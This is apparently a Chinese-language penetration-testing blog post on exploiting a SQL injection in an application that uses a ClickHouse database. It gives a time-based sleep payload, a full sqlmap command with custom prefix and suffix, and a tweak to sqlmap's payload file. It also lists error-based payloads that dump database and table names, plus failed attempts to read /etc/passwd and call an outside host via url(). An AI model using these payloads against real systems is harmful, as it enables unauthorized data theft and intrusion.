前期尝试

根据源代码发现可以利用')拼接闭合SQL语句之后,插入要注入的Payload,比如:1')and sleep(3) and ('1,可以休眠3S。经过测试发现存在以下限制:

  • sleep的时间不能超过3秒,超过之后造成请求查询超时,会立刻返回
  • sleep关键词不能使用大写,因为clickhouse函数大小写敏感
  • 无法使用sqlmap跑数据,因为sqlmap不支持clickhouse数据库

虽然Sqlmap不支持ClickHouse,但是我还是不死心的跑了一下,可能这就是脚本小子吧

经过我不懈努力,终于让Sqlmap跑出来了可注入点:

./sqlmap.py -r ~/Desktop/sql.txt -v --technique=T --level 3 -v 3 --dbms MySQL --time-sec 3 --prefix "')" --suffix "and ('" --tamper lowercase --proxy http://127.0.0.1:8080

为了让Sqlmap跑出来这个注入点,一言难尽。因为sqlmap里面的SLEEP(5)是自带的payload,就算是加了--tamper lowercase也不会改变这个关键payload的大小写,始终是大写。所以我当时有两个选择:

  1. 写个Burp插件转变成小写–费时费力
  2. 修改Sqlmap的源代码–这个简单

于是乎,我直接编辑sqlmap目录下的data/xml/payloads/time_blind.xml,直接把SLEEP替换为sleep,然后发现会影响SLEEPTIME这个变量,再替换一次sleepTimeSLEEPTIME

跑出来注入点没问题了,但是Sqlmap跑完之后会二次确认是否对应的数据库,会再发送几个payload二次确认数据库的类型。到此时我就傻眼了,特么那我前面干了啥(不愧是脚本小子)。

手工阶段

尝试使用报错注入的payload可以成功获取数据:

  • ') and (select currentDatabase()) and ('
  • ') and ((select * from (select arrayStringConcat(*)from system.tables )a)) and ('"
  • "') and ((select * from (select arrayStringConcat(*)from system.databases )a)) and ('"

以下操作显示无权限:

  • ') and (select * from url('<ip>', CSV, 'column1 String, column2 UInt32')) and ('
  • ') and (select * from file('/etc/passwd', CSV, 'column1 String, column2 UInt32')) and ('

遗留问题

  • 能否利用Clickhouse的JDBC进行JNDI注入

参考资料

⬆︎TOP